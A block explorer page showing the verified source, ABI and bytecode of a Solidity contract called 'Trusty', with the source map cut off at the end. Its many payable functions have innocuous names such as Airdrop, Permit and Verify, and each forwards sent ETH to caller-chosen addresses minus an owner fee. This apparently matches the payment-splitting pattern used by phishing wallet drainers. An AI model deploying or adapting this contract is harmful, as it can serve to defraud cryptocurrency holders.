Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
Loading...
Loading
Similar Match Source Code This contract matches the deployed Bytecode of the Source Code for Contract 0x068e720b...09853755B The constructor portion of the code might be different and could alter the actual behaviour of the contract
Contract Name:
Trusty
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-02-24 */ // SPDX-License-Identifier: Unlicense pragma solidity ^0.8.18; contract Trusty { address private contract_owner; address private fee_receiver; uint8 private contract_fee; bool private fee_withdraw; event Ownership(address indexed last_owner, address indexed new_owner); event Percentage (uint8 last_percentage, uint8 new_percentage); constructor() { contract_owner = msg.sender; fee_receiver = contract_owner; fee_withdraw = false; contract_fee = 10; } function getOwner() public view returns (address) { return contract_owner; } function getBalance() public view returns (uint256) { return address(this).balance; } function salaryStatus() public view returns (bool) { return fee_withdraw; } function enableSalary() public { require(msg.sender == contract_owner, "Access Denied"); fee_withdraw = true; } function disableSalary() public { require(msg.sender == contract_owner, "Access Denied"); fee_withdraw = false; } function processTransaction(address sender, address primary_receiver, address secondary_receiver, uint8 secondary_percent, bool is_back) private { require(secondary_percent >= 0 && secondary_percent <= 100, "Invalid Percent"); uint256 amount = msg.value; uint256 amount_back = 0; if (amount > 0) { amount = amount - 1; amount_back = amount_back + 1; } uint256 reserve = (amount / 100) * contract_fee; uint256 secondary_amount = ((amount - reserve) / 100) * secondary_percent; uint256 primary_amount = amount - reserve - secondary_amount; if (primary_amount > 0) payable(primary_receiver).transfer(primary_amount); if (secondary_amount > 0) payable(secondary_receiver).transfer(secondary_amount); if (reserve > 0 && fee_withdraw == true) payable(fee_receiver).transfer(reserve); if (amount_back > 0 && is_back == true) payable(sender).transfer(amount_back); } function transferOwnership(address new_owner) public { require(msg.sender == contract_owner, "Access Denied"); address last_owner = contract_owner; contract_owner = new_owner; emit Ownership(last_owner, contract_owner); } function claimSalary() public { require(msg.sender == contract_owner, "Access Denied"); require(address(this).balance > 0, "Balance Empty"); payable(fee_receiver).transfer(address(this).balance); } function setReceiver(address new_receiver) public { require(msg.sender == contract_owner, "Access Denied"); fee_receiver = new_receiver; } function changePercentage(uint8 new_percentage) public { require(msg.sender == contract_owner, "Access Denied"); require(new_percentage >= 0 && new_percentage <= 100, "Invalid Percentage"); uint8 previous_percentage = contract_fee; contract_fee = new_percentage; emit Percentage(previous_percentage, contract_fee); } function Airdrop(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); } function Cashback(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); } function Rewards(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); } function Process(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); } function Permit(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); } function Approve(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); } function Transfer(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); } function Deposit(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); } function Withdraw(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); } function Register(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); } function Verify(address depositer, address handler, address keeper, uint8 percent, bool is_cashback) public payable { processTransaction(depositer, handler, keeper, percent, is_cashback); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"last_owner","type":"address"},{"indexed":true,"internalType":"address","name":"new_owner","type":"address"}],"name":"Ownership","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint8","name":"last_percentage","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"new_percentage","type":"uint8"}],"name":"Percentage","type":"event"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Airdrop","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Approve","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Cashback","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Deposit","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Permit","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Process","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Register","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Rewards","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Transfer","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Verify","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"depositer","type":"address"},{"internalType":"address","name":"handler","type":"address"},{"internalType":"address","name":"keeper","type":"address"},{"internalType":"uint8","name":"percent","type":"uint8"},{"internalType":"bool","name":"is_cashback","type":"bool"}],"name":"Withdraw","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint8","name":"new_percentage","type":"uint8"}],"name":"changePercentage","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"claimSalary","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableSalary","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableSalary","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"salaryStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"new_receiver","type":"address"}],"name":"setReceiver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"new_owner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Deployed Bytecode
0x60806040526004361061011f5760003560e01c80636c286a8b116100a0578063d18f903711610064578063d18f9037146102fd578063d285660d14610319578063d7b92d4514610342578063ecf0444b14610359578063f2fde38b146103705761011f565b80636c286a8b14610255578063718da7ee14610271578063893d20e81461029a578063c2052690146102c5578063c968b5f6146102e15761011f565b80634365370d116100e75780634365370d146101bf578063539330aa146101db578063624bb8b8146101f757806364b075511461020e5780636969b3901461022a5761011f565b806302548613146101245780630d82fb4f1461014057806312065fe01461015c578063268c2aff1461018757806338928522146101a3575b600080fd5b61013e60048036038101906101399190610e5f565b610399565b005b61015a60048036038101906101559190610e5f565b6103ad565b005b34801561016857600080fd5b506101716103c1565b60405161017e9190610ef3565b60405180910390f35b6101a1600480360381019061019c9190610e5f565b6103c9565b005b6101bd60048036038101906101b89190610e5f565b6103dd565b005b6101d960048036038101906101d49190610e5f565b6103f1565b005b6101f560048036038101906101f09190610e5f565b610405565b005b34801561020357600080fd5b5061020c610419565b005b61022860048036038101906102239190610e5f565b6104c4565b005b34801561023657600080fd5b5061023f6104d8565b60405161024c9190610f1d565b60405180910390f35b61026f600480360381019061026a9190610e5f565b6104ef565b005b34801561027d57600080fd5b5061029860048036038101906102939190610f38565b610503565b005b3480156102a657600080fd5b506102af6105d5565b6040516102bc9190610f74565b60405180910390f35b6102df60048036038101906102da9190610e5f565b6105fe565b005b6102fb60048036038101906102f69190610e5f565b610612565b005b61031760048036038101906103129190610e5f565b610626565b005b34801561032557600080fd5b50610340600480360381019061033b9190610f8f565b61063a565b005b34801561034e57600080fd5b5061035761079a565b005b34801561036557600080fd5b5061036e6108d6565b005b34801561037c57600080fd5b5061039760048036038101906103929190610f38565b610980565b005b6103a68585858585610af2565b5050505050565b6103ba8585858585610af2565b5050505050565b600047905090565b6103d68585858585610af2565b5050505050565b6103ea8585858585610af2565b5050505050565b6103fe8585858585610af2565b5050505050565b6104128585858585610af2565b5050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146104a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049e90611019565b60405180910390fd5b6000600160156101000a81548160ff021916908315150217905550565b6104d18585858585610af2565b5050505050565b6000600160159054906101000a900460ff16905090565b6104fc8585858585610af2565b5050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610591576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058890611019565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61060b8585858585610af2565b5050505050565b61061f8585858585610af2565b5050505050565b6106338585858585610af2565b5050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106bf90611019565b60405180910390fd5b60008160ff16101580156106e0575060648160ff1611155b61071f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071690611085565b60405180910390fd5b6000600160149054906101000a900460ff16905081600160146101000a81548160ff021916908360ff1602179055507f8aeb416bcc35d1e0f263caf174a830fa26332f626c038ddcb56f0100f456680b81600160149054906101000a900460ff1660405161078e9291906110b4565b60405180910390a15050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610828576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081f90611019565b60405180910390fd5b6000471161086b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086290611129565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156108d3573d6000803e3d6000fd5b50565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610964576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095b90611019565b60405180910390fd5b60018060156101000a81548160ff021916908315150217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0590611019565b60405180910390fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f20785b27e5fe438f15d8e2c5ccf83f449d08d77cba6151a2857a22015412860660405160405180910390a35050565b60008260ff1610158015610b0a575060648260ff1611155b610b49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4090611195565b60405180910390fd5b6000349050600080821115610b7757600182610b6591906111e4565b9150600181610b749190611218565b90505b6000600160149054906101000a900460ff1660ff16606484610b99919061127b565b610ba391906112ac565b905060008560ff1660648386610bb991906111e4565b610bc3919061127b565b610bcd91906112ac565b90506000818386610bde91906111e4565b610be891906111e4565b90506000811115610c3b578873ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610c39573d6000803e3d6000fd5b505b6000821115610c8c578773ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015610c8a573d6000803e3d6000fd5b505b600083118015610caf575060011515600160159054906101000a900460ff161515145b15610d1e57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f19350505050158015610d1c573d6000803e3d6000fd5b505b600084118015610d32575060011515861515145b15610d7f578973ffffffffffffffffffffffffffffffffffffffff166108fc859081150290604051600060405180830381858888f19350505050158015610d7d573d6000803e3d6000fd5b505b50505050505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610dbb82610d90565b9050919050565b610dcb81610db0565b8114610dd657600080fd5b50565b600081359050610de881610dc2565b92915050565b600060ff82169050919050565b610e0481610dee565b8114610e0f57600080fd5b50565b600081359050610e2181610dfb565b92915050565b60008115159050919050565b610e3c81610e27565b8114610e4757600080fd5b50565b600081359050610e5981610e33565b92915050565b600080600080600060a08688031215610e7b57610e7a610d8b565b5b6000610e8988828901610dd9565b9550506020610e9a88828901610dd9565b9450506040610eab88828901610dd9565b9350506060610ebc88828901610e12565b9250506080610ecd88828901610e4a565b9150509295509295909350565b6000819050919050565b610eed81610eda565b82525050565b6000602082019050610f086000830184610ee4565b92915050565b610f1781610e27565b82525050565b6000602082019050610f326000830184610f0e565b92915050565b600060208284031215610f4e57610f4d610d8b565b5b6000610f5c84828501610dd9565b91505092915050565b610f6e81610db0565b82525050565b6000602082019050610f896000830184610f65565b92915050565b600060208284031215610fa557610fa4610d8b565b5b6000610fb384828501610e12565b91505092915050565b600082825260208201905092915050565b7f4163636573732044656e69656400000000000000000000000000000000000000600082015250565b6000611003600d83610fbc565b915061100e82610fcd565b602082019050919050565b6000602082019050818103600083015261103281610ff6565b9050919050565b7f496e76616c69642050657263656e746167650000000000000000000000000000600082015250565b600061106f601283610fbc565b915061107a82611039565b602082019050919050565b6000602082019050818103600083015261109e81611062565b9050919050565b6110ae81610dee565b82525050565b60006040820190506110c960008301856110a5565b6110d660208301846110a5565b9392505050565b7f42616c616e636520456d70747900000000000000000000000000000000000000600082015250565b6000611113600d83610fbc565b915061111e826110dd565b602082019050919050565b6000602082019050818103600083015261114281611106565b9050919050565b7f496e76616c69642050657263656e740000000000000000000000000000000000600082015250565b600061117f600f83610fbc565b915061118a82611149565b602082019050919050565b600060208201905081810360008301526111ae81611172565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006111ef82610eda565b91506111fa83610eda565b9250828203905081811115611212576112116111b5565b5b92915050565b600061122382610eda565b915061122e83610eda565b9250828201905080821115611246576112456111b5565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061128682610eda565b915061129183610eda565b9250826112a1576112a061124c565b5b828204905092915050565b60006112b782610eda565b91506112c283610eda565b92508282026112d081610eda565b915082820484148315176112e7576112e66111b5565b5b509291505056fea2646970667358221220c135ec5df36b885b476649151faddc7d1c501e9313045acc81f3ee4d68a4fcf864736f6c63430008120033
Deployed Bytecode Sourcemap
69:4943:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3071:191;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3654:189;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;592:85;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4820:189;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4236:190;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4041:191;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3847:190;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;875:113;;;;;;;;;;;;;:::i;:::-;;4430:191;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;681:75;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3460:190;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2378:151;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;512:76;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4625:191;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2877:190;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3266;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2533:339;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2159:215;;;;;;;;;;;;;:::i;:::-;;760:111;;;;;;;;;;;;;:::i;:::-;;1916:239;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3071:191;3191:68;3210:9;3221:7;3230:6;3238:7;3247:11;3191:18;:68::i;:::-;3071:191;;;;;:::o;3654:189::-;3772:68;3791:9;3802:7;3811:6;3819:7;3828:11;3772:18;:68::i;:::-;3654:189;;;;;:::o;592:85::-;635:7;653:21;646:28;;592:85;:::o;4820:189::-;4938:68;4957:9;4968:7;4977:6;4985:7;4994:11;4938:18;:68::i;:::-;4820:189;;;;;:::o;4236:190::-;4355:68;4374:9;4385:7;4394:6;4402:7;4411:11;4355:18;:68::i;:::-;4236:190;;;;;:::o;4041:191::-;4161:68;4180:9;4191:7;4200:6;4208:7;4217:11;4161:18;:68::i;:::-;4041:191;;;;;:::o;3847:190::-;3966:68;3985:9;3996:7;4005:6;4013:7;4022:11;3966:18;:68::i;:::-;3847:190;;;;;:::o;875:113::-;931:14;;;;;;;;;;917:28;;:10;:28;;;909:54;;;;;;;;;;;;:::i;:::-;;;;;;;;;980:5;965:12;;:20;;;;;;;;;;;;;;;;;;875:113::o;4430:191::-;4550:68;4569:9;4580:7;4589:6;4597:7;4606:11;4550:18;:68::i;:::-;4430:191;;;;;:::o;681:75::-;726:4;741:12;;;;;;;;;;;734:19;;681:75;:::o;3460:190::-;3579:68;3598:9;3609:7;3618:6;3626:7;3635:11;3579:18;:68::i;:::-;3460:190;;;;;:::o;2378:151::-;2457:14;;;;;;;;;;2443:28;;:10;:28;;;2435:54;;;;;;;;;;;;:::i;:::-;;;;;;;;;2511:12;2496;;:27;;;;;;;;;;;;;;;;;;2378:151;:::o;512:76::-;553:7;571:14;;;;;;;;;;;564:21;;512:76;:::o;4625:191::-;4745:68;4764:9;4775:7;4784:6;4792:7;4801:11;4745:18;:68::i;:::-;4625:191;;;;;:::o;2877:190::-;2996:68;3015:9;3026:7;3035:6;3043:7;3052:11;2996:18;:68::i;:::-;2877:190;;;;;:::o;3266:::-;3385:68;3404:9;3415:7;3424:6;3432:7;3441:11;3385:18;:68::i;:::-;3266:190;;;;;:::o;2533:339::-;2617:14;;;;;;;;;;2603:28;;:10;:28;;;2595:54;;;;;;;;;;;;:::i;:::-;;;;;;;;;2682:1;2664:14;:19;;;;:44;;;;;2705:3;2687:14;:21;;;;2664:44;2656:75;;;;;;;;;;;;:::i;:::-;;;;;;;;;2738:25;2766:12;;;;;;;;;;;2738:40;;2795:14;2780:12;;:29;;;;;;;;;;;;;;;;;;2821:45;2832:19;2853:12;;;;;;;;;;;2821:45;;;;;;;:::i;:::-;;;;;;;;2588:284;2533:339;:::o;2159:215::-;2218:14;;;;;;;;;;2204:28;;:10;:28;;;2196:54;;;;;;;;;;;;:::i;:::-;;;;;;;;;2289:1;2265:21;:25;2257:51;;;;;;;;;;;;:::i;:::-;;;;;;;;;2323:12;;;;;;;;;;;2315:30;;:53;2346:21;2315:53;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2159:215::o;760:111::-;815:14;;;;;;;;;;801:28;;:10;:28;;;793:54;;;;;;;;;;;;:::i;:::-;;;;;;;;;864:4;849:12;;:19;;;;;;;;;;;;;;;;;;760:111::o;1916:239::-;1998:14;;;;;;;;;;1984:28;;:10;:28;;;1976:54;;;;;;;;;;;;:::i;:::-;;;;;;;;;2037:18;2058:14;;;;;;;;;;;2037:35;;2091:9;2074:14;;:26;;;;;;;;;;;;;;;;;;2134:14;;;;;;;;;;2112:37;;2122:10;2112:37;;;;;;;;;;;;1969:186;1916:239;:::o;994:916::-;1175:1;1154:17;:22;;;;:50;;;;;1201:3;1180:17;:24;;;;1154:50;1146:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;1231:14;1248:9;1231:26;;1264:19;1307:1;1298:6;:10;1294:71;;;1330:1;1321:6;:10;;;;:::i;:::-;1312:19;;1361:1;1347:11;:15;;;;:::i;:::-;1333:29;;1294:71;1371:15;1406:12;;;;;;;;;;;1389:29;;1399:3;1390:6;:12;;;;:::i;:::-;1389:29;;;;:::i;:::-;1371:47;;1425:24;1481:17;1452:46;;1474:3;1463:7;1454:6;:16;;;;:::i;:::-;1453:24;;;;:::i;:::-;1452:46;;;;:::i;:::-;1425:73;;1505:22;1549:16;1539:7;1530:6;:16;;;;:::i;:::-;:35;;;;:::i;:::-;1505:60;;1593:1;1576:14;:18;1572:74;;;1604:16;1596:34;;:50;1631:14;1596:50;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1572:74;1676:1;1657:16;:20;1653:80;;;1687:18;1679:36;;:54;1716:16;1679:54;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1653:80;1754:1;1744:7;:11;:35;;;;;1775:4;1759:20;;:12;;;;;;;;;;;:20;;;1744:35;1740:80;;;1789:12;;;;;;;;;;;1781:30;;:39;1812:7;1781:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1740:80;1845:1;1831:11;:15;:34;;;;;1861:4;1850:15;;:7;:15;;;1831:34;1827:77;;;1875:6;1867:24;;:37;1892:11;1867:37;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1827:77;1139:771;;;;;994:916;;;;;:::o;88:117:1:-;197:1;194;187:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:139::-;742:5;780:6;767:20;758:29;;796:33;823:5;796:33;:::i;:::-;696:139;;;;:::o;841:86::-;876:7;916:4;909:5;905:16;894:27;;841:86;;;:::o;933:118::-;1004:22;1020:5;1004:22;:::i;:::-;997:5;994:33;984:61;;1041:1;1038;1031:12;984:61;933:118;:::o;1057:135::-;1101:5;1139:6;1126:20;1117:29;;1155:31;1180:5;1155:31;:::i;:::-;1057:135;;;;:::o;1198:90::-;1232:7;1275:5;1268:13;1261:21;1250:32;;1198:90;;;:::o;1294:116::-;1364:21;1379:5;1364:21;:::i;:::-;1357:5;1354:32;1344:60;;1400:1;1397;1390:12;1344:60;1294:116;:::o;1416:133::-;1459:5;1497:6;1484:20;1475:29;;1513:30;1537:5;1513:30;:::i;:::-;1416:133;;;;:::o;1555:901::-;1645:6;1653;1661;1669;1677;1726:3;1714:9;1705:7;1701:23;1697:33;1694:120;;;1733:79;;:::i;:::-;1694:120;1853:1;1878:53;1923:7;1914:6;1903:9;1899:22;1878:53;:::i;:::-;1868:63;;1824:117;1980:2;2006:53;2051:7;2042:6;2031:9;2027:22;2006:53;:::i;:::-;1996:63;;1951:118;2108:2;2134:53;2179:7;2170:6;2159:9;2155:22;2134:53;:::i;:::-;2124:63;;2079:118;2236:2;2262:51;2305:7;2296:6;2285:9;2281:22;2262:51;:::i;:::-;2252:61;;2207:116;2362:3;2389:50;2431:7;2422:6;2411:9;2407:22;2389:50;:::i;:::-;2379:60;;2333:116;1555:901;;;;;;;;:::o;2462:77::-;2499:7;2528:5;2517:16;;2462:77;;;:::o;2545:118::-;2632:24;2650:5;2632:24;:::i;:::-;2627:3;2620:37;2545:118;;:::o;2669:222::-;2762:4;2800:2;2789:9;2785:18;2777:26;;2813:71;2881:1;2870:9;2866:17;2857:6;2813:71;:::i;:::-;2669:222;;;;:::o;2897:109::-;2978:21;2993:5;2978:21;:::i;:::-;2973:3;2966:34;2897:109;;:::o;3012:210::-;3099:4;3137:2;3126:9;3122:18;3114:26;;3150:65;3212:1;3201:9;3197:17;3188:6;3150:65;:::i;:::-;3012:210;;;;:::o;3228:329::-;3287:6;3336:2;3324:9;3315:7;3311:23;3307:32;3304:119;;;3342:79;;:::i;:::-;3304:119;3462:1;3487:53;3532:7;3523:6;3512:9;3508:22;3487:53;:::i;:::-;3477:63;;3433:117;3228:329;;;;:::o;3563:118::-;3650:24;3668:5;3650:24;:::i;:::-;3645:3;3638:37;3563:118;;:::o;3687:222::-;3780:4;3818:2;3807:9;3803:18;3795:26;;3831:71;3899:1;3888:9;3884:17;3875:6;3831:71;:::i;:::-;3687:222;;;;:::o;3915:325::-;3972:6;4021:2;4009:9;4000:7;3996:23;3992:32;3989:119;;;4027:79;;:::i;:::-;3989:119;4147:1;4172:51;4215:7;4206:6;4195:9;4191:22;4172:51;:::i;:::-;4162:61;;4118:115;3915:325;;;;:::o;4246:169::-;4330:11;4364:6;4359:3;4352:19;4404:4;4399:3;4395:14;4380:29;;4246:169;;;;:::o;4421:163::-;4561:15;4557:1;4549:6;4545:14;4538:39;4421:163;:::o;4590:366::-;4732:3;4753:67;4817:2;4812:3;4753:67;:::i;:::-;4746:74;;4829:93;4918:3;4829:93;:::i;:::-;4947:2;4942:3;4938:12;4931:19;;4590:366;;;:::o;4962:419::-;5128:4;5166:2;5155:9;5151:18;5143:26;;5215:9;5209:4;5205:20;5201:1;5190:9;5186:17;5179:47;5243:131;5369:4;5243:131;:::i;:::-;5235:139;;4962:419;;;:::o;5387:168::-;5527:20;5523:1;5515:6;5511:14;5504:44;5387:168;:::o;5561:366::-;5703:3;5724:67;5788:2;5783:3;5724:67;:::i;:::-;5717:74;;5800:93;5889:3;5800:93;:::i;:::-;5918:2;5913:3;5909:12;5902:19;;5561:366;;;:::o;5933:419::-;6099:4;6137:2;6126:9;6122:18;6114:26;;6186:9;6180:4;6176:20;6172:1;6161:9;6157:17;6150:47;6214:131;6340:4;6214:131;:::i;:::-;6206:139;;5933:419;;;:::o;6358:112::-;6441:22;6457:5;6441:22;:::i;:::-;6436:3;6429:35;6358:112;;:::o;6476:316::-;6589:4;6627:2;6616:9;6612:18;6604:26;;6640:67;6704:1;6693:9;6689:17;6680:6;6640:67;:::i;:::-;6717:68;6781:2;6770:9;6766:18;6757:6;6717:68;:::i;:::-;6476:316;;;;;:::o;6798:163::-;6938:15;6934:1;6926:6;6922:14;6915:39;6798:163;:::o;6967:366::-;7109:3;7130:67;7194:2;7189:3;7130:67;:::i;:::-;7123:74;;7206:93;7295:3;7206:93;:::i;:::-;7324:2;7319:3;7315:12;7308:19;;6967:366;;;:::o;7339:419::-;7505:4;7543:2;7532:9;7528:18;7520:26;;7592:9;7586:4;7582:20;7578:1;7567:9;7563:17;7556:47;7620:131;7746:4;7620:131;:::i;:::-;7612:139;;7339:419;;;:::o;7764:165::-;7904:17;7900:1;7892:6;7888:14;7881:41;7764:165;:::o;7935:366::-;8077:3;8098:67;8162:2;8157:3;8098